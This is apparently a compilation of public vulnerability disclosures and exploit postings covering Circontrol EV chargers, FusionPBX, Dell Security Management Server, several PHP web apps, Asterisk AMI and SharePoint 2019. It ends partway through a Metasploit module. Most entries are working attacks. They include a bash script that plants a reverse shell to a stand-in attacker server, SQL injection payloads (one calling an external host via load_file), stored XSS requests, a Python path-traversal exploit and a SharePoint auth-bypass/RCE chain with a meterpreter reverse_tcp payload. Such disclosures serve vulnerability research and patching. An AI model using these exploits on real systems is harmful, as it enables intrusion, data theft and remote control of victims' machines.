<pre><code>Circontrol EV Charger vulnerabilities.<br /><br />1. CVE-2020-8006 Pre-Auth Stack Based Buffer Overflow<br />CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (10)<br /><br />The server in Circontrol Raption through 5.11.2 has a pre-authentication<br />stack-based buffer overflow that can be exploited to gain run-time control<br />of the device as root.<br /><br />When the server parses the HTTP headers and finds the Basic-Authentication<br />tag it will call a base64 decode function. This function takes 3 arguments:<br />an input pointer, an output pointer and a length. During the authentication<br />flow, the input pointer can be an attacker controlled string of<br />approximately 4096 characters, and the output pointer is located on the<br />stack, the length argument is 512. While the length of the stack based<br />buffer is passed to the decoder it only verifies that it is not smaller than<br />3.<br /><br /><br />[Vendor of Product]<br /><br />https://circontrol.com/<br /><br />[Affected Product Code Base]<br /><br />Raption Server - Raption up to 5.11.2<br /><br />[Affected Component]<br /><br />OCCP 1.5, OCCP.1.6, PWRSTUDIO<br /><br />[Attack Type]<br /><br />Remote<br /><br />[Impact Code execution]<br /><br />true<br /><br />[Impact Denial of Service]<br /><br />true<br /><br />[Attack Vectors]<br /><br />Remote<br /><br />[Has vendor confirmed or acknowledged the vulnerability?]<br /><br />true<br /><br />[Discoverer]<br /><br />Abert Spruyt, Alex Salvetti, Dariusz Gońda<br /><br />[Reference]<br /><br />https://circontrol.com/intelligent-charging-solutions/dc-chargers-series/raption-150/<br /><br /><br />2. CVE-2020-8007 - Command injection (RCE/authenticated)<br />CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L (9.1)<br /><br />The pwrstudio web application of EV Charger (in the server in Circontrol<br />Raption through 5.6.2) is<br />vulnerable to OS command injection via three fields of the configuration<br />menu for ntpserver0, ntpserver1, and pingip.<br /><br />[VulnerabilityType Other]<br /><br />Command Injection<br /><br />[Vendor of Product]<br /><br />https://circontrol.com/<br /><br />[Affected Product Code Base]<br /><br />Raption Server - up to 5.6.2<br /><br />[Affected Component]<br /><br />pwrstudio<br /><br />[Attack Type]<br /><br />Remote<br /><br />[Impact Code execution]<br /><br />true<br /><br />[Attack Vectors]<br /><br />To exploit this issue authorization is required.<br /><br /><br />[Has vendor confirmed or acknowledged the vulnerability?]<br /><br />true<br /><br />[Discoverer]<br /><br />Abert Spruyt, Alex Salvetti, Dariusz Gońda<br /><br /><br />[Reference]<br /><br />https://circontrol.com/intelligent-charging-solutions/dc-chargers-series/raption-150/<br /><br /></code></pre>
<pre><code>*Vulnerability Name - *Application is Vulnerable to Session Fixation<br /><br />*Vulnerable URL: *www.fusionpbx.com<br /><br /><br />*Overview of the Vulnerability*<br />Session fixation is a security vulnerability that occurs when an attacker<br />sets or fixes a user's session identifier, manipulating the authentication<br />process. Typically exploited in web applications, this vulnerability allows<br />the attacker to force a user's session ID to a known value, granting<br />unauthorized access. Attackers can initiate the attack by tricking users<br />into using a provided session ID or by planting a session ID through<br />various means.<br /><br /><br />*Steps to Reproduce*<br />Step 1: To reproduce this vulnerability open two browsers. Copy "PHPSESSID"<br />cookie from Browser 1 and paste it to Browser 2.<br />Step 2: Login in Browser 1 using valid credentials.<br />Step 3: Navigate to Browser 2 and refresh the page or open this URL (<br />https://www.fusionpbx.com/app/account/home.php)<br />Step 4: Successfully logged in Browser 2 without entering the credentials.<br /><br /><br />*Impact of Vulnerability:*<br />Anyone can easily hijack victims or user's sessions and get into his account<br />. Cookie stealing is the best way the hacker can get into account.. it<br />would not take more than 5 min to steal someone's cookie using PHP and all<br />.....<br />Even friends can fool the victim and get him hacked...<br /><br /><br />*Mitigation:*Manage sessions properly. This problem is mainly faced because<br />the session doesn't get expired or doesn't get closed when logout is<br />pressed. Each time the user logins the cookie must hold a unique different<br />session-id to proceed.<br /><br /><br />------------------------------------------------------------------------------------------------------<br /><br /><br />*FusionPBX Development Team Implemented Fix GitHub Commit Links:*<br />https://github.com/fusionpbx/fusionpbx/commit/50220d7a0674fae944a1e16fab7a8517cdc51a9e<br />https://github.com/fusionpbx/fusionpbx/commit/560a51cff710df12c863de53c4c8289e1516dae8<br /><br /></code></pre>
<pre><code># Exploit Title: [title] Dell Security Management Server versions prior to<br />11.9.0<br /># Exploit Author: [author] Amirhossein Bahramizadeh<br /># CVE : [if applicable] CVE-2023-32479<br />Dell Encryption, Dell Endpoint Security Suite Enterprise, and Dell Security<br />Management<br />Server versions prior to 11.9.0 contain privilege escalation vulnerability<br />due to improper ACL of the non-default installation directory. A local<br />malicious user could potentially exploit this vulnerability by replacing<br />binaries in installed directory and taking the reverse shell of the system<br />leading to Privilege Escalation.<br /><br />#!/bin/bash<br /><br />INSTALL_DIR="/opt/dell"<br /><br /># Check if the installed directory has improper ACLs<br />if [ -w "$INSTALL_DIR" ]; then<br /> # Replace a binary in the installed directory with a malicious binary that opens a reverse shell<br /> echo "#!/bin/bash" > "$INSTALL_DIR/dell-exploit"<br /> echo "bash -i >& /dev/tcp/your-malicious-server/1234 0>&1" >> "$INSTALL_DIR/dell-exploit"<br /> chmod +x "$INSTALL_DIR/dell-exploit"<br /><br /> # Wait for the reverse shell to connect to your malicious server<br /> nc -lvnp 1234<br />fi<br /><br /></code></pre>
<pre><code># Exploit Title: Purei CMS 1.0 - SQL Injection<br /># Date: [27-03-2024]<br /># Exploit Author: [Number 7]<br /># Vendor Homepage: [purei.com]<br /># Version: [1.0]<br /># Tested on: [Linux]<br />____________________________________________________________________________________<br /><br />Introduction:<br />An SQL injection vulnerability permits attackers to modify backend SQL statements through manipulation <br />of user input. Such an injection transpires when web applications accept user input directly inserted <br />into an SQL statement without effectively filtering out hazardous characters.<br /><br />This could jeopardize the integrity of your database or reveal sensitive information.<br />____________________________________________________________________________________<br /><br />Time-Based Blind SQL Injection:<br />Vulnerable files:<br />http://localhost/includes/getAllParks.php<br />http://localhost/includes/getSearchMap.php<br /><br />make a POST request with the value of the am input set to : <br /><br /> if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ <br /><br />make sure to url encode the inputs. <br />SQL injection:<br />Method: POST REQUEST<br /><br />Vunerable file:<br /><br />/includes/events-ajax.php?action=getMonth<br />data for the POST req:<br />month=3&type=&year=2024&cal_id=1[Inject Here]<br /><br /><br /></code></pre>
<pre><code># Exploit Title: Workout Journal App 1.0 - Stored XSS<br /># Date: 12.01.2024<br /># Exploit Author: MURAT CAGRI ALIS<br /># Vendor Homepage: https://www.sourcecodester.com<https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html><br /># Software Link: https://www.sourcecodester.com/php/17088/workout-journal-app-using-php-and-mysql-source-code.html<br /># Version: 1.0<br /># Tested on: Windows / MacOS / Linux<br /># CVE : CVE-2024-24050<br /><br /># Description<br /><br />Install and run the source code of the application on localhost. Register from the registration page at the url workout-journal/index.php. When registering, stored XSS payloads can be entered for the First and Last name on the page. When registering on this page, for the first_name parameter in the request to the /workout-journal/endpoint/add-user.php url<br />For the last_name parameter, type " <script>console.log(document.cookie)</script> " and " <script>console.log(1337) </script> ". Then when you log in you will be redirected to /workout-journal/home.php. When you open the console here, you can see that Stored XSS is working. You can also see from the source code of the page that the payloads are working correctly. This vulnerability occurs when a user enters data without validation and then the browser is allowed to execute this code.<br /><br /><br /># PoC<br /><br />Register Request to /workout-journal/endpoints/add-user.php<br /><br />POST /workout-journal/endpoint/add-user.php HTTP/1.1<br />Host: localhost<br />Content-Length: 268<br />Cache-Control: max-age=0<br />sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: http://localhost<br />Content-Type: application/x-www-form-urlencoded<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/workout-journal/index.php<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br />Cookie: PHPSESSID=64s63vgqlnltujsrj64c5o0vci<br />Connection: close<br /><br />first_name=%3Cscript%3Econsole.log%28document.cookie%29%3C%2Fscript%3E%29&last_name=%3Cscript%3Econsole.log%281337%29%3C%2Fscript%3E%29&weight=85&height=190&birthday=1991-11-20&contact_number=1234567890&email=test%40mail.mail&username=testusername&password=Test123456-<br /><br />This request turn back 200 Code on Response<br /><br />HTTP/1.1 200 OK<br />Date: Sat, 16 Mar 2024 02:05:52 GMT<br />Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4<br />X-Powered-By: PHP/8.1.4<br />Content-Length: 214<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br /><br /> <script><br /> alert('Account Registered Successfully!');<br /> window.location.href = 'http://localhost/workout-journal/';<br /> </script><br /><br />After these all, you can go to login page and login to system with username and password. After that you can see that on console payloads had worked right.<br /><br />/workout-journal/home.php Request<br /><br />GET /workout-journal/home.php HTTP/1.1<br />Host: localhost<br />sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"<br />sec-ch-ua-mobile: ?0<br />sec-ch-ua-platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Dest: document<br />Referer: http://localhost/workout-journal/endpoint/login.php<br />Accept-Encoding: gzip, deflate, br<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br />Cookie: PHPSESSID=co1vmea8hr1nctjvmid87fa7d1<br />Connection: close<br /><br />/workout-journal/home.php Response<br /><br />HTTP/1.1 200 OK<br />Date: Sat, 16 Mar 2024 02:07:56 GMT<br />Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.4<br />X-Powered-By: PHP/8.1.4<br />Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />Cache-Control: no-store, no-cache, must-revalidate<br />Pragma: no-cache<br />Content-Length: 2791<br />Connection: close<br />Content-Type: text/html; charset=UTF-8<br /><br /><br /> <!DOCTYPE html><br /> <html lang="en"><br /> <head><br /> <meta charset="UTF-8"><br /> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br /> <title>Workout Journal App</title><br /><br /> <!-- Style CSS --><br /> <link rel="stylesheet" href="./assets/style.css"><br /><br /> <!-- Bootstrap CSS --><br /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css"><br /><br /> <style><br /> body {<br /> overflow: hidden;<br /> }<br /> </style><br /> </head><br /> <body><br /><br /><br /><br /> <div class="main"><br /> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"><br /> <a class="navbar-brand ml-3" href="#">Workout Journal App</a><br /> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><br /> <span class="navbar-toggler-icon"></span><br /> </button><br /><br /> <div class="collapse navbar-collapse" id="navbarSupportedContent"><br /> <ul class="navbar-nav ml-auto"><br /> <li class="nav-item active"><br /> <a class="nav-link" href="./endpoint/logout.php">Log Out</a><br /> </li><br /> </div><br /><br /> </nav><br /><br /> <div class="landing-page-container"><br /> <div class="heading-container"><br /> <h2>Welcome <script>console.log(document.cookie);</script>) <script>console.log(1337);</script>)</h2><br /> <p>What would you like to do today?</p><br /> </div><br /><br /> <div class="select-option"><br /> <div class="read-journal" onclick="redirectToReadJournal()"><br /> <img src="./assets/read.jpg" alt=""><br /> <p>Read your past workout journals.</p><br /> </div><br /> <div class="write-journal" onclick="redirectToWriteJournal()"><br /> <img src="./assets/write.jpg" alt=""><br /> <p>Write your todays journal.</p><br /> </div><br /> </div><br /> </div><br /><br /> </div><br /><br /> <!-- Bootstrap JS --><br /> <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script><br /> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script><br /> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"></script><br /><br /> <!-- Script JS --><br /> <script src="./assets/script.js"></script><br /> </body><br /> </html><br /><br /></code></pre>
<pre><code>## Title: LMS-PHP-byoretnom23-v1.0 Multiple-SQLi<br />## Author: nu11secur1ty<br />## Date: 03/28/2024<br />## Vendor: https://github.com/oretnom23<br />## Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400<br />## Reference: https://portswigger.net/web-security/sql-injection<br /><br />## Description:<br />The id parameter appears to be vulnerable to SQL injection attacks.<br />The payload '+(select<br />load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+'<br />was submitted in the id parameter. This payload injects a SQL<br />sub-query that calls MySQL's load_file function with a UNC file path<br />that references a URL on an external domain. The application<br />interacted with that domain, indicating that the injected SQL query<br />was executed. The attacker can get all information from the system by<br />using this vulnerability!<br /><br />STATUS: HIGH- Vulnerability<br /><br />[+]Payload:<br />```mysql<br />---<br />Parameter: id (GET)<br /> Type: boolean-based blind<br /> Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY<br />or GROUP BY clause<br /> Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN<br />(2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: page=user/manage_user&id=7''' AND (SELECT 1734<br />FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT<br />(ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM<br />(SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU<br /><br /> Type: UNION query<br /> Title: MySQL UNION query (NULL) - 11 columns<br /> Payload: page=user/manage_user&id=-2854' UNION ALL SELECT<br />NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/LMS-PHP-byoretnom23-v1.0)<br /><br />## Proof and Exploit:<br />[href](https://www.nu11secur1ty.com/2024/03/lms-php-byoretnom23-v10-multiple-sqli.html)<br /><br />## Time spent:<br />01:15:00<br /><br /><br /></code></pre>
<pre><code># Exploit Title: Asterisk AMI - Partial File Content & Path Disclosure (Authenticated)<br /># Date: 2023-03-26<br /># Exploit Author: Sean Pesce<br /># Vendor Homepage: https://asterisk.org/<br /># Software Link: https://downloads.asterisk.org/pub/telephony/asterisk/old-releases/<br /># Version: 18.20.0<br /># Tested on: Debian Linux<br /># CVE: CVE-2023-49294<br /><br />#!/usr/bin/env python3<br />#<br /># Proof of concept exploit for CVE-2023-49294, an authenticated vulnerability in Asterisk AMI that<br /># facilitates filesystem enumeration (discovery of existing file paths) and limited disclosure of<br /># file contents. Disclosed files must adhere to the Asterisk configuration format, which is similar<br /># to the common INI configuration format.<br />#<br /># References:<br /># https://nvd.nist.gov/vuln/detail/CVE-2023-49294<br /># https://github.com/asterisk/asterisk/security/advisories/GHSA-8857-hfmw-vg8f<br /># https://docs.asterisk.org/Asterisk_18_Documentation/API_Documentation/AMI_Actions/GetConfig/<br /><br /><br />import argparse<br />import getpass<br />import socket<br />import sys<br /><br /><br />CVE_ID = 'CVE-2023-49294'<br /><br />DEFAULT_PORT = 5038<br />DEFAULT_FILE = '/etc/hosts'<br />DEFAULT_ACTION_ID = 0<br />DEFAULT_TCP_READ_SZ = 1048576 # 1MB<br /><br /><br /><br />def ami_msg(action, args, encoding='utf8'):<br /> assert type(action) == str, f'Invalid type for AMI Action (expected string): {type(action)}'<br /> assert type(args) == dict, f'Invalid type for AMI arguments (expected dict): {type(args)}'<br /> if 'ActionID' not in args:<br /> args['ActionID'] = 0<br /> line_sep = '\r\n'<br /> data = f'Action: {action}{line_sep}'<br /> for a in args:<br /> data += f'{a}: {args[a]}{line_sep}'<br /> data += line_sep<br /> return data.encode(encoding)<br /><br /><br /><br />def tcp_send_rcv(sock, data, read_sz=DEFAULT_TCP_READ_SZ):<br /> assert type(data) in (bytes, bytearray, memoryview), f'Invalid data type (expected bytes): {type(data)}'<br /> sock.sendall(data)<br /> resp = b''<br /> while not resp.endswith(b'\r\n\r\n'):<br /> resp += sock.recv(read_sz)<br /> return resp<br /><br /><br /><br />if __name__ == '__main__':<br /> # Parse command-line arguments<br /> argparser = argparse.ArgumentParser()<br /> argparser.add_argument('host', type=str, help='The host name or IP address of the Asterisk AMI server')<br /> argparser.add_argument('-p', '--port', type=int, help=f'Asterisk AMI TCP port (default: {DEFAULT_PORT})', default=DEFAULT_PORT)<br /> argparser.add_argument('-u', '--user', type=str, help=f'Asterisk AMI user', required=True)<br /> argparser.add_argument('-P', '--password', type=str, help=f'Asterisk AMI secret', default=None)<br /> argparser.add_argument('-f', '--file', type=str, help=f'File to read (default: {DEFAULT_FILE})', default=DEFAULT_FILE)<br /> argparser.add_argument('-a', '--action-id', type=int, help=f'Action ID (default: {DEFAULT_ACTION_ID})', default=DEFAULT_ACTION_ID)<br /> if '-h' in sys.argv or '--help' in sys.argv:<br /> print(f'Proof of concept exploit for {CVE_ID} in Asterisk AMI. More information here: \nhttps://nvd.nist.gov/vuln/detail/{CVE_ID}\n', file=sys.stderr)<br /> argparser.print_help()<br /> sys.exit(0)<br /> args = argparser.parse_args()<br /><br /> # Validate command-line arguments<br /> assert 1 <= args.port <= 65535, f'Invalid port number: {args.port}'<br /> args.host = socket.gethostbyname(args.host)<br /> if args.password is None:<br /> args.password = getpass.getpass(f'[PROMPT] Enter the AMI password for {args.user}: ')<br /><br /> print(f'[INFO] Proof of concept exploit for {CVE_ID}', file=sys.stderr)<br /> print(f'[INFO] Connecting to Asterisk AMI: {args.user}@{args.host}:{args.port}', file=sys.stderr)<br /><br /> # Connect to the Asterisk AMI server<br /> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br /> sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)<br /> sock.connect((args.host, args.port))<br /><br /> # Read server banner<br /> banner = sock.recv(DEFAULT_TCP_READ_SZ)<br /> print(f'[INFO] Connected to {banner.decode("utf8").strip()}', file=sys.stderr)<br /><br /> # Authenticate to the Asterisk AMI server<br /> login_msg = ami_msg('Login', {'Username':args.user,'Secret':args.password})<br /> login_resp = tcp_send_rcv(sock, login_msg)<br /> while b'Authentication' not in login_resp:<br /> login_resp = tcp_send_rcv(sock, b'')<br /> if b'Authentication accepted' not in login_resp:<br /> print(f'\n[ERROR] Invalid credentials: \n{login_resp.decode("utf8")}', file=sys.stderr)<br /> sys.exit(1)<br /> #print(f'[INFO] Authenticated: {login_resp.decode("utf8")}', file=sys.stderr)<br /> print(f'[INFO] Login success', file=sys.stderr)<br /><br /> # Obtain file data via path traversal<br /> traversal = '../../../../../../../../'<br /> cfg_msg = ami_msg('GetConfig', {<br /> 'ActionID': args.action_id,<br /> 'Filename': f'{traversal}{args.file}',<br /> #'Category': 'default',<br /> #'Filter': 'name_regex=value_regex,',<br /> })<br /> resp = tcp_send_rcv(sock, cfg_msg)<br /> while b'Response' not in resp:<br /> resp = tcp_send_rcv(sock, b'')<br /><br /> print(f'', file=sys.stderr)<br /> print(f'{resp.decode("utf8")}')<br /><br /> if b'Error' in resp:<br /> sys.exit(1)<br /><br /> pass # Done<br /> <br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'securerandom'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::Sharepoint<br /> include Msf::Exploit::FileDropper<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> class SharepointError < StandardError; end<br /> class SharepointInvalidResponseError < SharepointError; end<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE',<br /> 'Description' => %q{<br /> This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched<br /> in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023.<br /><br /> The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the<br /> signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing<br /> algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic<br /> flaw in the ReadTokenCore() method.<br /><br /> After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to<br /> exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to<br /> replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The<br /> payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API.<br /> },<br /> 'Author' => [<br /> 'Jang', # discovery<br /> 'jheysel-r7' # module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'],<br /> [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'],<br /> [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'],<br /> [ 'CVE', '2023-29357'],<br /> [ 'CVE', '2023-24955']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Privileged' => false,<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Platform' => 'win',<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => ['win'],<br /> 'Arch' => [ARCH_CMD],<br /> 'Type' => :cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',<br /> 'WritableDir' => '%TEMP%',<br /> 'CmdStagerFlavor' => [ 'curl' ]<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2023-05-01',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE, ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, ],<br /> 'Reliability' => [ REPEATABLE_SESSION, ]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ])<br /> ])<br /> end<br /><br /> def resolve_target_hostname<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '_api', 'web'),<br /> 'method' => 'GET',<br /> 'headers' => {<br /> # The NTLM SSP challenge: 'NTLMSSP<binary data>HOSTNAME'<br /> 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO'<br /> }<br /> })<br /><br /> if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i)<br /> hash = res['WWW-Authenticate'].split('NTLM ')[1]<br /> message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))<br /> hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]<br /><br /> hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase<br /> else<br /> raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header'<br /> end<br /> end<br /><br /> def get_oauth_info(hostname)<br /> vprint_status('getting oauth info')<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, '_api', 'web'),<br /> 'method' => 'GET',<br /> 'headers' => {<br /> # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa<br /> 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh',<br /> 'HOST' => hostname<br /> }<br /> })<br /><br /> if res && res.headers['WWW-Authenticate']<br /> raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/<br /><br /> realm = Regexp.last_match(1)<br /> client_id = Regexp.last_match(2)<br /> print_status("realm: #{realm}, client_id: #{client_id}")<br /> return realm, client_id<br /> else<br /> raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info'<br /> end<br /> end<br /><br /> def gen_endpoint_hash(url)<br /> Base64.strict_encode64(Digest::SHA256.digest(url.downcase))<br /> end<br /><br /> def gen_app_proof_token<br /> jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}"<br /> b64_token = Rex::Text.encode_base64(jwt_token)<br /> "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh"<br /> end<br /><br /> def send_get_request(url)<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, url),<br /> 'method' => 'GET',<br /> 'headers' => @auth_headers<br /> })<br /> end<br /><br /> def send_json_request(url, data)<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, url),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/json',<br /> 'headers' => @auth_headers,<br /> 'data' => data.to_json<br /> })<br /> end<br /><br /> def get_current_user<br /> res = send_get_request('/_api/web/currentuser')<br /> if res&.code != 200<br /> raise SharepointInvalidResponseError, 'Failed to get current user'<br /> end<br /><br /> res.body<br /> end<br /><br /> def do_auth_bypass<br /> hostname = resolve_target_hostname<br /> hostname = hostname.split('.')[0] if hostname.include?('.')<br /><br /> print_status("Discovered hostname is: #{hostname}")<br /><br /> @realm, @client_id = get_oauth_info(hostname)<br /> print_status("Got Oauth Info: #{@realm}|#{@client_id}")<br /> @lob_id = Rex::Text.rand_text_alpha(rand(4..8))<br /> print_status("Lob id is: #{@lob_id}")<br /><br /> token = gen_app_proof_token<br /><br /> @auth_headers = {<br /> 'X-PROOF_TOKEN' => token,<br /> 'Authorization' => "Bearer #{token}",<br /> 'HOST' => hostname<br /> }<br /><br /> user_info = get_current_user<br /> raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil?<br /><br /> user_info =~ %r{<d:LoginName>.+?\|(.+)\|.+?</d:LoginName>}<br /> raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1)<br /><br /> username = Regexp.last_match(1)<br /> if user_info.include?('true</d:IsSiteAdmin>')<br /> # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint<br /> print_status("Successfully impersonated Site Admin: #{username}")<br /> else<br /> raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.'<br /> end<br /> @auth_bypassed = true<br /> end<br /><br /> def check<br /> version = sharepoint_get_version<br /> return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil?<br /><br /> print_status("Sharepoint version detected: #{version}")<br /><br /> begin<br /> CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass<br /> rescue SharepointInvalidResponseError => e<br /> return CheckCode::Safe(e)<br /> end<br /> end<br /><br /> def create_c_sharp_payload(cmd)<br /> class_name = Rex::Text.rand_text_alpha(rand(4..8))<br /> c_sharp_payload = <<~EOF<br /> #{Rex::Text.rand_text_alpha(rand(4..8))}{<br /> class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{<br /> static #{class_name}(){<br /> System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}");<br /> }<br /> }<br /> }<br /> namespace #{Rex::Text.rand_text_alpha(rand(4..8))}<br /> EOF<br /><br /> c_sharp_payload<br 